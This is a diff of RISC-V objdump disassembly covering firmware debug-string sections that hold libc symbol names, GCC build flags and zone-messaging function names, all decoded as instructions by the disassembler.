-    a238:	735f7473          	csrrci	s0,0x735,30
-    a23c:	7a69                	lui	s4,0xffffa
-    a23e:	0065                	c.nop	25
-    a240:	755f7473          	csrrci	s0,0x755,30
-    a244:	6469                	lui	s0,0x1a
-    a246:	5f00                	lw	s0,56(a4)
-    a248:	7369                	lui	t1,0xffffa
-    a24a:	7461                	lui	s0,0xffff8
-    a24c:	7974                	flw	fa3,116(a0)
-    a24e:	5f00                	lw	s0,56(a4)
-    a250:	625f 6b6c 6973      	0x69736b6c625f
-    a256:	657a                	flw	fa0,156(sp)
-    a258:	745f 7300 5f74      	0x5f747300745f
-    a25e:	72617073          	csrci	0x726,2
-    a262:	3465                	jal	9d0a <__stack_size+0x950a>
-    a264:	7300                	flw	fs0,32(a4)
-    a266:	5f74                	lw	a3,124(a4)
-    a268:	6472                	flw	fs0,28(sp)
-    a26a:	7665                	lui	a2,0xffff9
-    a26c:	5f00                	lw	s0,56(a4)
-    a26e:	736f6c63          	bltu	t5,s6,a9a6 <__stack_size+0xa1a6>
-    a272:	0065                	c.nop	25
-    a274:	2e2e                	fld	ft8,200(sp)
-    a276:	7073622f          	0x7073622f
-    a27a:	3033582f          	0x3033582f
-    a27e:	2f30                	fld	fa2,88(a4)
-    a280:	656e                	flw	fa0,216(sp)
-    a282:	62696c77          	0x62696c77
-    a286:	77656e2f          	0x77656e2f
-    a28a:	696c                	flw	fa1,84(a0)
-    a28c:	2e62                	fld	ft8,24(sp)
-    a28e:	5f5f0063          	beq	t5,s5,a86e <__stack_size+0xa06e>
-    a292:	6f6d                	lui	t5,0x1b
-    a294:	6564                	flw	fs1,76(a0)
-    a296:	745f 6600 616c      	0x616c6600745f
-    a29c:	66007367          	0x66007367
-    a2a0:	6c69                	lui	s8,0x1a
-    a2a2:	0065                	c.nop	25
-    a2a4:	6e5f7473          	csrrci	s0,0x6e5,30
-    a2a8:	696c                	flw	fa1,84(a0)
-    a2aa:	6b6e                	flw	fs6,216(sp)
-    a2ac:	7300                	flw	fs0,32(a4)
-    a2ae:	5f74                	lw	a3,124(a4)
-    a2b0:	00646967          	0x646967
-    a2b4:	5f5f 6c62 636b      	0x636b6c625f5f
-    a2ba:	746e                	flw	fs0,248(sp)
-    a2bc:	745f 5f00 6273      	0x62735f00745f
-    a2c2:	6b72                	flw	fs6,28(sp)
-    a2c4:	5f00                	lw	s0,56(a4)
-    a2c6:	695f 6f6e 745f      	0x745f6f6e695f
-    a2cc:	5f00                	lw	s0,56(a4)
-    a2ce:	6568                	flw	fa0,76(a0)
-    a2d0:	7061                	c.lui	zero,0xffff8
-    a2d2:	705f 7274 6200      	0x62007274705f
-    a2d8:	6675                	lui	a2,0x1d
-    a2da:	0066                	c.slli	zero,0x19
-    a2dc:	6e69                	lui	t3,0x1a
-    a2de:	5f007263          	bgeu	zero,a6,a8c2 <__stack_size+0xa0c2>
-    a2e2:	6572                	flw	fa0,28(sp)
-    a2e4:	6461                	lui	s0,0x18
-    a2e6:	7300                	flw	fs0,32(a4)
-    a2e8:	5f74                	lw	a3,124(a4)
-    a2ea:	6564                	flw	fs1,76(a0)
-    a2ec:	0076                	c.slli	zero,0x1d
-    a2ee:	6974                	flw	fa3,84(a0)
-    a2f0:	656d                	lui	a0,0x1b
-    a2f2:	63657073          	csrci	0x636,10
-    a2f6:	5f00                	lw	s0,56(a4)
-    a2f8:	6f5f 6666 745f      	0x745f66666f5f
-    a2fe:	5f00                	lw	s0,56(a4)
-    a300:	7366                	flw	ft6,120(sp)
-    a302:	6174                	flw	fa3,68(a0)
-    a304:	0074                	addi	a3,sp,12
-    a306:	7674                	flw	fa3,108(a2)
-    a308:	6e5f 6573 0063      	0x6365736e5f
-    a30e:	6f5f 6570 006e      	0x6e65706f5f
-    a314:	6d5f7473          	csrrci	s0,0x6d5,30
-    a318:	0065646f          	jal	s0,6031e <__stack_size+0x5fb1e>
-    a31c:	5f5f 6975 5f64      	0x5f6469755f5f
-    a322:	0074                	addi	a3,sp,12
-    a324:	6c5f 6573 6b65      	0x6b6565736c5f
-    a32a:	7300                	flw	fs0,32(a4)
-    a32c:	5f74                	lw	a3,124(a4)
-    a32e:	6e69                	lui	t3,0x1a
-    a330:	5f5f006f          	j	fb124 <__stack_size+0xfa924>
-    a334:	6c6e                	flw	fs8,216(sp)
-    a336:	6e69                	lui	t3,0x1a
-    a338:	00745f6b          	0x745f6b
-    a33c:	615f7473          	csrrci	s0,0x615,30
-    a340:	6974                	flw	fa3,84(a0)
-    a342:	006d                	c.nop	27
-    a344:	5744                	lw	s1,44(a4)
-    a346:	75727473          	csrrci	s0,0x757,4
-    a34a:	2e007463          	bgeu	zero,zero,a632 <__stack_size+0x9e32>
-    a34e:	2f2e                	fld	ft10,200(sp)
-    a350:	2e2e                	fld	ft8,200(sp)
-    a352:	2f2e2e2f          	0x2f2e2e2f
-    a356:	2e2e                	fld	ft8,200(sp)
-    a358:	2f2e2e2f          	0x2f2e2e2f
-    a35c:	2f2e                	fld	ft10,200(sp)
-    a35e:	6972                	flw	fs2,28(sp)
-    a360:	2d766373          	csrrsi	t1,0x2d7,12
-    a364:	2f636367          	0x2f636367
-    a368:	696c                	flw	fa1,84(a0)
-    a36a:	6762                	flw	fa4,24(sp)
-    a36c:	6c2f6363          	bltu	t5,sp,aa32 <__stack_size+0xa232>
-    a370:	6269                	lui	tp,0x1a
-    a372:	32636367          	0x32636367
-    a376:	632e                	flw	ft6,200(sp)
-    a378:	6800                	flw	fs0,16(s0)
-    a37a:	6769                	lui	a4,0x1a
-    a37c:	0068                	addi	a0,sp,12
-    a37e:	72726163          	bltu	tp,t2,aaa0 <__stack_size+0xa2a0>
-    a382:	6569                	lui	a0,0x1a
-    a384:	53550073          	0x53550073
-    a388:	7449                	lui	s0,0xffff2
-    a38a:	7079                	c.lui	zero,0xffffe
-    a38c:	0065                	c.nop	25
-    a38e:	6d6f682f          	0x6d6f682f
-    a392:	2f65                	jal	ab4a <__stack_size+0xa34a>
-    a394:	61736563          	bltu	t1,s7,a99e <__stack_size+0xa19e>
-    a398:	6572                	flw	fa0,28(sp)
-    a39a:	7369722f          	0x7369722f
-    a39e:	672d7663          	bgeu	s10,s2,aa0a <__stack_size+0xa20a>
-    a3a2:	756e                	flw	fa0,248(sp)
-    a3a4:	742d                	lui	s0,0xfffeb
-    a3a6:	636c6f6f          	jal	t5,d09dc <__stack_size+0xd01dc>
-    a3aa:	6168                	flw	fa0,68(a0)
-    a3ac:	6e69                	lui	t3,0x1a
-    a3ae:	6975622f          	0x6975622f
-    a3b2:	646c                	flw	fa1,76(s0)
-    a3b4:	672d                	lui	a4,0xb
-    a3b6:	6e2d6363          	bltu	s10,sp,aa9c <__stack_size+0xa29c>
-    a3ba:	7765                	lui	a4,0xffff9
-    a3bc:	696c                	flw	fa1,84(a0)
-    a3be:	2d62                	fld	fs10,24(sp)
-    a3c0:	67617473          	csrrci	s0,0x676,2
-    a3c4:	3265                	jal	9d6c <__stack_size+0x956c>
-    a3c6:	7369722f          	0x7369722f
-    a3ca:	34367663          	bgeu	a2,gp,a716 <__stack_size+0x9f16>
-    a3ce:	752d                	lui	a0,0xfffeb
-    a3d0:	6b6e                	flw	fs6,216(sp)
-    a3d2:	6f6e                	flw	ft10,216(sp)
-    a3d4:	652d6e77          	0x652d6e77
-    a3d8:	666c                	flw	fa1,76(a2)
-    a3da:	3376722f          	0x3376722f
-    a3de:	6932                	flw	fs2,12(sp)
-    a3e0:	616d                	addi	sp,sp,240
-    a3e2:	6c692f63          	0x6c692f63
-    a3e6:	3370                	fld	fa2,224(a4)
-    a3e8:	2f32                	fld	ft10,264(sp)
-    a3ea:	696c                	flw	fa1,84(a0)
-    a3ec:	6762                	flw	fa4,24(sp)
-    a3ee:	44006363          	bltu	zero,zero,a834 <__stack_size+0xa034>
-    a3f2:	696e7557          	0x696e7557
-    a3f6:	63006e6f          	jal	t3,10a26 <__stack_size+0x10226>
-    a3fa:	6c706d6f          	jal	s10,112c0 <__stack_size+0x10ac0>
-    a3fe:	7865                	lui	a6,0xffff9
-    a400:	6c20                	flw	fs0,88(s0)
-    a402:	20676e6f          	jal	t3,80608 <__stack_size+0x7fe08>
-    a406:	6f64                	flw	fs1,92(a4)
-    a408:	6275                	lui	tp,0x1d
-    a40a:	656c                	flw	fa1,76(a0)
-    a40c:	6300                	flw	fs0,0(a4)
-    a40e:	6c706d6f          	jal	s10,112d4 <__stack_size+0x10ad4>
-    a412:	7865                	lui	a6,0xffff9
-    a414:	6620                	flw	fs0,72(a2)
-    a416:	6f6c                	flw	fa1,92(a4)
-    a418:	7461                	lui	s0,0xffff8
-    a41a:	6300                	flw	fs0,0(a4)
-    a41c:	6c706d6f          	jal	s10,112e2 <__stack_size+0x10ae2>
-    a420:	7865                	lui	a6,0xffff9
-    a422:	6420                	flw	fs0,72(s0)
-    a424:	6c62756f          	jal	a0,31aea <__stack_size+0x312ea>
-    a428:	0065                	c.nop	25
-    a42a:	20554e47          	fmsub.s	ft8,fa0,ft5,ft4,rmm
-    a42e:	20373143          	fmadd.s	ft2,fa4,ft3,ft4,rup
-    a432:	3031                	jal	9c3e <__stack_size+0x943e>
-    a434:	312e                	fld	ft2,232(sp)
-    a436:	302e                	fld	ft0,232(sp)
-    a438:	2d20                	fld	fs0,88(a0)
-    a43a:	636d                	lui	t1,0x1b
-    a43c:	6f6d                	lui	t5,0x1b
-    a43e:	6564                	flw	fs1,76(a0)
-    a440:	3d6c                	fld	fa1,248(a0)
-    a442:	656d                	lui	a0,0x1b
-    a444:	6164                	flw	fs1,68(a0)
-    a446:	796e                	flw	fs2,248(sp)
-    a448:	2d20                	fld	fs0,88(a0)
-    a44a:	616d                	addi	sp,sp,240
-    a44c:	6372                	flw	ft6,28(sp)
-    a44e:	3d68                	fld	fa0,248(a0)
-    a450:	7672                	flw	fa2,60(sp)
-    a452:	6d693233          	0x6d693233
-    a456:	6361                	lui	t1,0x18
-    a458:	2d20                	fld	fs0,88(a0)
-    a45a:	616d                	addi	sp,sp,240
-    a45c:	6962                	flw	fs2,24(sp)
-    a45e:	693d                	lui	s2,0xf
-    a460:	706c                	flw	fa1,100(s0)
-    a462:	2d203233          	0x2d203233
-    a466:	636d                	lui	t1,0x1b
-    a468:	6f6d                	lui	t5,0x1b
-    a46a:	6564                	flw	fs1,76(a0)
-    a46c:	3d6c                	fld	fa1,248(a0)
-    a46e:	656d                	lui	a0,0x1b
-    a470:	6164                	flw	fs1,68(a0)
-    a472:	796e                	flw	fs2,248(sp)
-    a474:	2d20                	fld	fs0,88(a0)
-    a476:	746d                	lui	s0,0xffffb
-    a478:	6e75                	lui	t3,0x1d
-    a47a:	3d65                	jal	a332 <__stack_size+0x9b32>
-    a47c:	6f72                	flw	ft10,28(sp)
-    a47e:	74656b63          	bltu	a0,t1,abd4 <__stack_size+0xa3d4>
-    a482:	2d20                	fld	fs0,88(a0)
-    a484:	4f2d2067          	0x4f2d2067
-    a488:	4f2d2073          	csrs	0x4f2,s10
-    a48c:	2032                	fld	ft0,264(sp)
-    a48e:	4f2d                	li	t5,11
-    a490:	662d2073          	csrs	0x662,s10
-    a494:	7562                	flw	fa0,56(sp)
-    a496:	6c69                	lui	s8,0x1a
-    a498:	6964                	flw	fs1,84(a0)
-    a49a:	676e                	flw	fa4,216(sp)
-    a49c:	6c2d                	lui	s8,0xb
-    a49e:	6269                	lui	tp,0x1a
-    a4a0:	20636367          	0x20636367
-    a4a4:	662d                	lui	a2,0xb
-    a4a6:	6f6e                	flw	ft10,216(sp)
-    a4a8:	732d                	lui	t1,0xfffeb
-    a4aa:	6174                	flw	fa3,68(a0)
-    a4ac:	702d6b63          	bltu	s10,sp,abc2 <__stack_size+0xa3c2>
-    a4b0:	6f72                	flw	ft10,28(sp)
-    a4b2:	6574                	flw	fa3,76(a0)
-    a4b4:	726f7463          	bgeu	t5,t1,abdc <__stack_size+0xa3dc>
-    a4b8:	2d20                	fld	fs0,88(a0)
-    a4ba:	7666                	flw	fa2,120(sp)
-    a4bc:	7369                	lui	t1,0xffffa
-    a4be:	6269                	lui	tp,0x1a
-    a4c0:	6c69                	lui	s8,0x1a
-    a4c2:	7469                	lui	s0,0xffffa
-    a4c4:	3d79                	jal	a362 <__stack_size+0x9b62>
-    a4c6:	6968                	flw	fa0,84(a0)
-    a4c8:	6464                	flw	fs1,76(s0)
-    a4ca:	6e65                	lui	t3,0x19
-    a4cc:	7300                	flw	fs0,32(a4)
-    a4ce:	6968                	flw	fa0,84(a0)
-    a4d0:	7466                	flw	fs0,120(sp)
-    a4d2:	635f 756f 746e      	0x746e756f635f
-    a4d8:	745f 7079 0065      	0x657079745f
-    a4de:	20554e47          	fmsub.s	ft8,fa0,ft5,ft4,rmm
-    a4e2:	20373143          	fmadd.s	ft2,fa4,ft3,ft4,rup
-    a4e6:	3031                	jal	9cf2 <__stack_size+0x94f2>
-    a4e8:	312e                	fld	ft2,232(sp)
-    a4ea:	302e                	fld	ft0,232(sp)
-    a4ec:	2d20                	fld	fs0,88(a0)
-    a4ee:	636d                	lui	t1,0x1b
-    a4f0:	6f6d                	lui	t5,0x1b
-    a4f2:	6564                	flw	fs1,76(a0)
-    a4f4:	3d6c                	fld	fa1,248(a0)
-    a4f6:	656d                	lui	a0,0x1b
-    a4f8:	6164                	flw	fs1,68(a0)
-    a4fa:	796e                	flw	fs2,248(sp)
-    a4fc:	2d20                	fld	fs0,88(a0)
-    a4fe:	616d                	addi	sp,sp,240
-    a500:	6372                	flw	ft6,28(sp)
-    a502:	3d68                	fld	fa0,248(a0)
-    a504:	7672                	flw	fa2,60(sp)
-    a506:	6d693233          	0x6d693233
-    a50a:	6361                	lui	t1,0x18
-    a50c:	2d20                	fld	fs0,88(a0)
-    a50e:	616d                	addi	sp,sp,240
-    a510:	6962                	flw	fs2,24(sp)
-    a512:	693d                	lui	s2,0xf
-    a514:	706c                	flw	fa1,100(s0)
-    a516:	2d203233          	0x2d203233
-    a51a:	636d                	lui	t1,0x1b
-    a51c:	6f6d                	lui	t5,0x1b
-    a51e:	6564                	flw	fs1,76(a0)
-    a520:	3d6c                	fld	fa1,248(a0)
-    a522:	656d                	lui	a0,0x1b
-    a524:	6164                	flw	fs1,68(a0)
-    a526:	796e                	flw	fs2,248(sp)
-    a528:	2d20                	fld	fs0,88(a0)
-    a52a:	746d                	lui	s0,0xffffb
-    a52c:	6e75                	lui	t3,0x1d
-    a52e:	3d65                	jal	a3e6 <__stack_size+0x9be6>
-    a530:	6f72                	flw	ft10,28(sp)
-    a532:	74656b63          	bltu	a0,t1,ac88 <__stack_size+0xa488>
-    a536:	2d20                	fld	fs0,88(a0)
-    a538:	4f2d2067          	0x4f2d2067
-    a53c:	4f2d2073          	csrs	0x4f2,s10
-    a540:	2032                	fld	ft0,264(sp)
-    a542:	4f2d                	li	t5,11
-    a544:	662d2073          	csrs	0x662,s10
-    a548:	7562                	flw	fa0,56(sp)
-    a54a:	6c69                	lui	s8,0x1a
-    a54c:	6964                	flw	fs1,84(a0)
-    a54e:	676e                	flw	fa4,216(sp)
-    a550:	6c2d                	lui	s8,0xb
-    a552:	6269                	lui	tp,0x1a
-    a554:	20636367          	0x20636367
-    a558:	662d                	lui	a2,0xb
-    a55a:	6f6e                	flw	ft10,216(sp)
-    a55c:	732d                	lui	t1,0xfffeb
-    a55e:	6174                	flw	fa3,68(a0)
-    a560:	702d6b63          	bltu	s10,sp,ac76 <__stack_size+0xa476>
-    a564:	6f72                	flw	ft10,28(sp)
-    a566:	6574                	flw	fa3,76(a0)
-    a568:	726f7463          	bgeu	t5,t1,ac90 <__stack_size+0xa490>
-    a56c:	2d20                	fld	fs0,88(a0)
-    a56e:	6566                	flw	fa0,88(sp)
-    a570:	6378                	flw	fa4,68(a4)
-    a572:	7065                	c.lui	zero,0xffff9
-    a574:	6974                	flw	fa3,84(a0)
-    a576:	20736e6f          	jal	t3,40f7c <__stack_size+0x4077c>
-    a57a:	662d                	lui	a2,0xb
-    a57c:	6f6e                	flw	ft10,216(sp)
-    a57e:	2d6e                	fld	fs10,216(sp)
-    a580:	6c6c6163          	bltu	s8,t1,ac42 <__stack_size+0xa442>
-    a584:	652d                	lui	a0,0xb
-    a586:	6378                	flw	fa4,68(a4)
-    a588:	7065                	c.lui	zero,0xffff9
-    a58a:	6974                	flw	fa3,84(a0)
-    a58c:	20736e6f          	jal	t3,40f92 <__stack_size+0x40792>
-    a590:	662d                	lui	a2,0xb
-    a592:	6976                	flw	fs2,92(sp)
-    a594:	69626973          	csrrsi	s2,0x696,4
-    a598:	696c                	flw	fa1,84(a0)
-    a59a:	7974                	flw	fa3,116(a0)
-    a59c:	683d                	lui	a6,0xf
-    a59e:	6469                	lui	s0,0x1a
-    a5a0:	6564                	flw	fs1,76(a0)
-    a5a2:	006e                	c.slli	zero,0x1b
-    a5a4:	5f5f 3064 5f00      	0x5f0030645f5f
-    a5aa:	645f 0031 5f5f      	0x5f5f0031645f
-    a5b0:	6876                	flw	fa6,92(sp)
-    a5b2:	5f00                	lw	s0,56(a4)
-    a5b4:	765f 006c 5f5f      	0x5f5f006c765f
-    a5ba:	5f7a6c63          	bltu	s4,s7,abb2 <__stack_size+0xa3b2>
-    a5be:	6174                	flw	fa3,68(a0)
-    a5c0:	0062                	c.slli	zero,0x18
-    a5c2:	5f5f 3078 5f00      	0x5f0030785f5f
-    a5c8:	785f 0031 5f5f      	0x5f5f0031785f
-    a5ce:	3278                	fld	fa4,224(a2)
-    a5d0:	5f00                	lw	s0,56(a4)
-    a5d2:	785f 0033 5155      	0x51550033785f
-    a5d8:	7449                	lui	s0,0xffff2
-    a5da:	7079                	c.lui	zero,0xffffe
-    a5dc:	0065                	c.nop	25
-    a5de:	4455                	li	s0,21
-    a5e0:	7449                	lui	s0,0xffff2
-    a5e2:	7079                	c.lui	zero,0xffffe
-    a5e4:	0065                	c.nop	25
-    a5e6:	5f5f 3071 5f00      	0x5f0030715f5f
-    a5ec:	715f 0031 5f5f      	0x5f5f0031715f
-    a5f2:	7278                	flw	fa4,100(a2)
-    a5f4:	5f00                	lw	s0,56(a4)
-    a5f6:	755f 6964 6d76      	0x6d766964755f
-    a5fc:	6964646f          	jal	s0,50c92 <__stack_size+0x50492>
-    a600:	0034                	addi	a3,sp,8
-    a602:	5f5f 3072 5f00      	0x5f0030725f5f
-    a608:	725f 0031 5f5f      	0x5f5f0031725f
-    a60e:	6875                	lui	a6,0x1d
-    a610:	5f00                	lw	s0,56(a4)
-    a612:	755f 006c 5f5f      	0x5f5f006c755f
-    a618:	6d75                	lui	s10,0x1d
-    a61a:	6964646f          	jal	s0,50cb0 <__stack_size+0x504b0>
-    a61e:	          	add	zero,zero,zero
+    a1de:	5f5f 2970 5f20      	0x5f2029705f5f
+    a1e4:	735f 6567 6374      	0x63746567735f
+    a1ea:	725f 7761 725f      	0x725f7761725f
+    a1f0:	5f28                	lw	a0,120(a4)
+    a1f2:	705f 7274 202c      	0x202c7274705f
+    a1f8:	5f5f 2970 4100      	0x410029705f5f
+    a1fe:	726c                	flw	fa1,100(a2)
+    a200:	6165                	addi	sp,sp,112
+    a202:	7964                	flw	fs1,116(a0)
+    a204:	6e49                	lui	t3,0x12
+    a206:	7469                	lui	s0,0xffffa
+    a208:	6169                	addi	sp,sp,208
+    a20a:	696c                	flw	fa1,84(a0)
+    a20c:	657a                	flw	fa0,156(sp)
+    a20e:	0064                	addi	s1,sp,12
+    a210:	6164                	flw	fs1,68(a0)
+    a212:	6174                	flw	fa3,68(a0)
+    a214:	654c                	flw	fa1,12(a0)
+    a216:	006e                	c.slli	zero,0x1b
+    a218:	6e69                	lui	t3,0x1a
+    a21a:	7469                	lui	s0,0xffffa
+    a21c:	74617453          	0x74617453
+    a220:	0065                	c.nop	25
+    a222:	6564                	flw	fs1,76(a0)
+    a224:	69726573          	csrrsi	a0,0x697,4
+    a228:	6c61                	lui	s8,0x18
+    a22a:	7a69                	lui	s4,0xffffa
+    a22c:	5a65                	li	s4,-7
+    a22e:	4d656e6f          	jal	t3,60704 <__stack_size+0x5ff04>
+    a232:	7365                	lui	t1,0xffff9
+    a234:	65676173          	csrrsi	sp,0x656,14
+    a238:	4e00                	lw	s0,24(a2)
+    a23a:	6559746f          	jal	s0,a208e <__stack_size+0xa188e>
+    a23e:	4974                	lw	a3,84(a0)
+    a240:	696e                	flw	fs2,216(sp)
+    a242:	6974                	flw	fa3,84(a0)
+    a244:	6c61                	lui	s8,0x18
+    a246:	7a69                	lui	s4,0xffffa
+    a248:	6465                	lui	s0,0x19
+    a24a:	6600                	flw	fs0,8(a2)
+    a24c:	6572                	flw	fa0,28(sp)
+    a24e:	4165                	li	sp,25
+    a250:	7466                	flw	fs0,120(sp)
+    a252:	7265                	lui	tp,0xffff9
+    a254:	6d00                	flw	fs0,24(a0)
+    a256:	6d65                	lui	s10,0x19
+    a258:	00746573          	csrrsi	a0,0x7,8
+    a25c:	6e69                	lui	t3,0x1a
+    a25e:	7469                	lui	s0,0xffffa
+    a260:	6f5a                	flw	ft10,148(sp)
+    a262:	656e                	flw	fa0,216(sp)
+    a264:	654d                	lui	a0,0x13
+    a266:	67617373          	csrrci	t1,0x676,2
+    a26a:	0065                	c.nop	25
+    a26c:	5a746573          	csrrsi	a0,0x5a7,8
+    a270:	4d656e6f          	jal	t3,60746 <__stack_size+0x5ff46>
+    a274:	7365                	lui	t1,0xffff9
+    a276:	65676173          	csrrsi	sp,0x656,14
+    a27a:	7700                	flw	fs0,40(a4)
+    a27c:	6972                	flw	fs2,28(sp)
+    a27e:	7474                	flw	fa3,108(s0)
+    a280:	6e65                	lui	t3,0x19
+    a282:	2e00                	fld	fs0,24(a2)
+    a284:	2f2e                	fld	ft10,200(sp)
+    a286:	72616873          	csrrsi	a6,0x726,2
+    a28a:	6465                	lui	s0,0x19
+    a28c:	6e6f5a2f          	0x6e6f5a2f
+    a290:	4d65                	li	s10,25
+    a292:	7365                	lui	t1,0xffff9
+    a294:	65676173          	csrrsi	sp,0x656,14
+    a298:	632e                	flw	ft6,200(sp)
+    a29a:	4e00                	lw	s0,24(a2)
+    a29c:	4545                	li	a0,17
+    a29e:	5344                	lw	s1,36(a4)
+    a2a0:	4e49                	li	t3,18
+    a2a2:	5449                	li	s0,-14
+    a2a4:	6d00                	flw	fs0,24(a0)
+    a2a6:	685f6773          	csrrsi	a4,0x685,30
+    a2aa:	6e61                	lui	t3,0x18
+    a2ac:	6c64                	flw	fs1,92(s0)
+    a2ae:	7265                	lui	tp,0xffff9
+    a2b0:	7200                	flw	fs0,32(a2)
+    a2b2:	6365                	lui	t1,0x19
+    a2b4:	6965                	lui	s2,0x19
+    a2b6:	6576                	flw	fa0,92(sp)
+    a2b8:	6f5a                	flw	ft10,148(sp)
+    a2ba:	656e                	flw	fa0,216(sp)
+    a2bc:	654d                	lui	a0,0x13
+    a2be:	67617373          	csrrci	t1,0x676,2
+    a2c2:	4c65                	li	s8,25
+    a2c4:	00706f6f          	jal	t5,10aca <__stack_size+0x102ca>
+    a2c8:	736d                	lui	t1,0xffffb
+    a2ca:	66754267          	0x66754267
+    a2ce:	6400                	flw	fs0,8(s0)
+    a2d0:	7461                	lui	s0,0xffff8
+    a2d2:	5361                	li	t1,-8
+    a2d4:	7274                	flw	fa3,100(a2)
+    a2d6:	6e69                	lui	t3,0x1a
+    a2d8:	47424467          	0x47424467
+    a2dc:	654c                	flw	fa1,12(a0)
+    a2de:	006e                	c.slli	zero,0x1b
+    a2e0:	6e727473          	csrrci	s0,0x6e7,4
+    a2e4:	656c                	flw	fa1,76(a0)
+    a2e6:	006e                	c.slli	zero,0x1b
+    a2e8:	646e6573          	csrrsi	a0,0x646,28
+    a2ec:	6f54                	flw	fa3,28(a4)
+    a2ee:	6f5a                	flw	ft10,148(sp)
+    a2f0:	656e                	flw	fa0,216(sp)
+    a2f2:	6d00                	flw	fs0,24(a0)
+    a2f4:	7365                	lui	t1,0xffff9
+    a2f6:	65676173          	csrrsi	sp,0x656,14
+    a2fa:	7542                	flw	fa0,48(sp)
+    a2fc:	6666                	flw	fa2,88(sp)
+    a2fe:	7265                	lui	tp,0xffff9
+    a300:	7300                	flw	fs0,32(a4)
+    a302:	6e65                	lui	t3,0x19
+    a304:	4264                	lw	s1,68(a2)
+    a306:	7479                	lui	s0,0xffffe
+    a308:	7365                	lui	t1,0xffff9
+    a30a:	6400                	flw	fs0,8(s0)
+    a30c:	6762                	flw	fa4,24(sp)
+    a30e:	656c                	flw	fa1,76(a0)
+    a310:	006e                	c.slli	zero,0x1b
+    a312:	6572                	flw	fa0,28(sp)
+    a314:	76696563          	bltu	s2,t1,aa7e <__stack_size+0xa27e>
+    a318:	5a65                	li	s4,-7
+    a31a:	4d656e6f          	jal	t3,607f0 <__stack_size+0x5fff0>
+    a31e:	7365                	lui	t1,0xffff9
+    a320:	65676173          	csrrsi	sp,0x656,14
+    a324:	7200                	flw	fs0,32(a2)
+    a326:	6365                	lui	t1,0x19
+    a328:	4276                	lw	tp,92(sp)
+    a32a:	6675                	lui	a2,0x1d
+    a32c:	6566                	flw	fa0,88(sp)
+    a32e:	0072                	c.slli	zero,0x1c
+    a330:	63727473          	csrrci	s0,0x637,4
+    a334:	706d                	c.lui	zero,0xffffb
+    a336:	7a00                	flw	fs0,48(a2)
+    a338:	00656e6f          	jal	t3,6033e <__stack_size+0x5fb3e>
+    a33c:	2e2e                	fld	ft8,200(sp)
+    a33e:	6168732f          	0x6168732f
+    a342:	6572                	flw	fa0,28(sp)
+    a344:	2f64                	fld	fs1,216(a4)
+    a346:	656d                	lui	a0,0x1b
+    a348:	67617373          	csrrci	t1,0x676,2
+    a34c:	4865                	li	a6,25
+    a34e:	6e61                	lui	t3,0x18
+    a350:	6c64                	flw	fs1,92(s0)
+    a352:	6e69                	lui	t3,0x1a
+    a354:	00632e67          	0x632e67
+    a358:	72706e73          	csrrsi	t3,0x727,0
+    a35c:	6e69                	lui	t3,0x1a
+    a35e:	6674                	flw	fa3,76(a2)
+    a360:	7300                	flw	fs0,32(a4)
+    a362:	6e65                	lui	t3,0x19
+    a364:	0074                	addi	a3,sp,12
+    a366:	72727473          	csrrci	s0,0x727,4
+    a36a:	00726863          	bltu	tp,t2,a37a <__stack_size+0x9b7a>
+    a36e:	6572                	flw	fa0,28(sp)
+    a370:	76696563          	bltu	s2,t1,aada <__stack_size+0xa2da>
+    a374:	4665                	li	a2,25
+    a376:	6f72                	flw	ft10,28(sp)
+    a378:	5a6d                	li	s4,-5
+    a37a:	00656e6f          	jal	t3,60380 <__stack_size+0x5fb80>
+    a37e:	6f7a                	flw	ft10,156(sp)
+    a380:	656e                	flw	fa0,216(sp)
+    a382:	6f7a0033          	0x6f7a0033
+    a386:	656e                	flw	fa0,216(sp)
+    a388:	0034                	addi	a3,sp,8
+    a38a:	6f74                	flw	fa3,92(a4)
+    a38c:	6552                	flw	fa0,20(sp)
+    a38e:	76696563          	bltu	s2,t1,aaf8 <__stack_size+0xa2f8>
+    a392:	0065                	c.nop	25
+    a394:	6572                	flw	fa0,28(sp)
+    a396:	76696563          	bltu	s2,t1,ab00 <__stack_size+0xa300>
+    a39a:	6465                	lui	s0,0x19
+    a39c:	654d                	lui	a0,0x13
+    a39e:	67617373          	csrrci	t1,0x676,2
+    a3a2:	0065                	c.nop	25
+    a3a4:	6572                	flw	fa0,28(sp)
+    a3a6:	76696563          	bltu	s2,t1,ab10 <__stack_size+0xa310>
+    a3aa:	6465                	lui	s0,0x19
+    a3ac:	6300                	flw	fs0,0(a4)
+    a3ae:	4279706f          	j	a1fd4 <__stack_size+0xa17d4>
+    a3b2:	7479                	lui	s0,0xffffe
+    a3b4:	7365                	lui	t1,0xffff9
+    a3b6:	7200                	flw	fs0,32(a2)
+    a3b8:	6678                	flw	fa4,76(a2)
+    a3ba:	6669                	lui	a2,0x1a
+    a3bc:	7473006f          	j	3b302 <__stack_size+0x3ab02>
+    a3c0:	635f 6974 006d      	0x6d6974635f
+    a3c6:	625f7473          	csrrci	s0,0x625,30
+    a3ca:	6b6c                	flw	fa1,84(a4)
+    a3cc:	657a6973          	csrrsi	s2,0x657,20
+    a3d0:	7300                	flw	fs0,32(a4)
+    a3d2:	5f74                	lw	a3,124(a4)
+    a3d4:	6c62                	flw	fs8,24(sp)
+    a3d6:	736b636f          	jal	t1,c0b0c <__stack_size+0xc030c>
+    a3da:	5f00                	lw	s0,56(a4)
+    a3dc:	675f 6469 745f      	0x745f6469675f
+    a3e2:	7300                	flw	fs0,32(a4)
+    a3e4:	5f74                	lw	a3,124(a4)
+    a3e6:	746d                	lui	s0,0xffffb
+    a3e8:	6d69                	lui	s10,0x1a
+    a3ea:	7400                	flw	fs0,40(s0)
+    a3ec:	6d69                	lui	s10,0x1a
+    a3ee:	5f65                	li	t5,-7
+    a3f0:	0074                	addi	a3,sp,12
+    a3f2:	775f 6972 6574      	0x65746972775f
+    a3f8:	5f00                	lw	s0,56(a4)
+    a3fa:	6568                	flw	fa0,76(a0)
+    a3fc:	7061                	c.lui	zero,0xffff8
+    a3fe:	655f 646e 5f00      	0x5f00646e655f
+    a404:	645f 7665 745f      	0x745f7665645f
+    a40a:	7300                	flw	fs0,32(a4)
+    a40c:	5f74                	lw	a3,124(a4)
+    a40e:	657a6973          	csrrsi	s2,0x657,20
+    a412:	7300                	flw	fs0,32(a4)
+    a414:	5f74                	lw	a3,124(a4)
+    a416:	6975                	lui	s2,0x1d
+    a418:	0064                	addi	s1,sp,12
+    a41a:	695f 6173 7474      	0x74746173695f
+    a420:	0079                	c.nop	30
+    a422:	5f5f 6c62 736b      	0x736b6c625f5f
+    a428:	7a69                	lui	s4,0xffffa
+    a42a:	5f65                	li	t5,-7
